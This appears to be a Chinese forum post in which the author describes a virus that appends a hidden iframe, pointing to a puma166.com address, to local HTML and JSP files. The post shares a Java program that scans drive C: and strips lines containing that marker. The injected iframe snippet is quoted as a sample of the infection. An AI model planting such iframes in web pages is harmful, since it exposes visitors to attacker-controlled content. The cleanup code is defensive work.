最近感染了一个病毒,也说不上是啥毒,反正所有的.html,.htm,.jsp文件一经被IE执行,它都会在文件的尾部加上一句类似这样一句代码“<
 IFRAME  ID=IFrame1 FRAMEBORDER=0 SCROLLING=NO SRC="http://www.puma166.com/...."></
 IFRAME >
”;杀毒软件是不能帮我把它从文件中删除了,自己写了一段程序来实现。
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
public class Test {
    private static String feature = "puma166";// the special string which indicate that we will remove this line 
    private static String filetypes = "#.htm#.html#.jsp#.asp#.aspx#";
    public static void moveAntivus(String filename,String feature) throws Exception{
        FileReader fr = new FileReader(filename);
        String tmpFileName = filename+"_tmp";
        BufferedReader br = new BufferedReader(fr);
        String line = "";
        FileWriter fw ;
        while ((line=br.readLine()) != null) {
            if(line.trim().indexOf(feature)<0){
                fw = new FileWriter(new File(tmpFileName),true);
                fw.write(line+"\n");
                fw.close();
            }
        }
        fr.close();
        File file = new File(filename);
        file.delete();
        new File(tmpFileName).renameTo(new File(filename));
    }
    public static void scanFile(File file){
        if(file.getName().indexOf(".")<0)
            return;
        try {
            String ext = file.getName().substring(file.getName().lastIndexOf("."));
            if(filetypes.indexOf(ext)>0){
                moveAntivus(file.getAbsolutePath(),feature);
                System.out.println(file.getAbsolutePath());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void scanDir(File dir){
            File[] files = dir.listFiles();
            for(int i=0;i<files.length;i++){
                if(files[i].isDirectory()){
                    scanDir(files[i]);
                }else{
                    scanFile(files[i]);
                }
            }
    }
    public static void main(String[] args){
        Test.scanDir(new File("C:\\"));//扫描c盘;
    }
}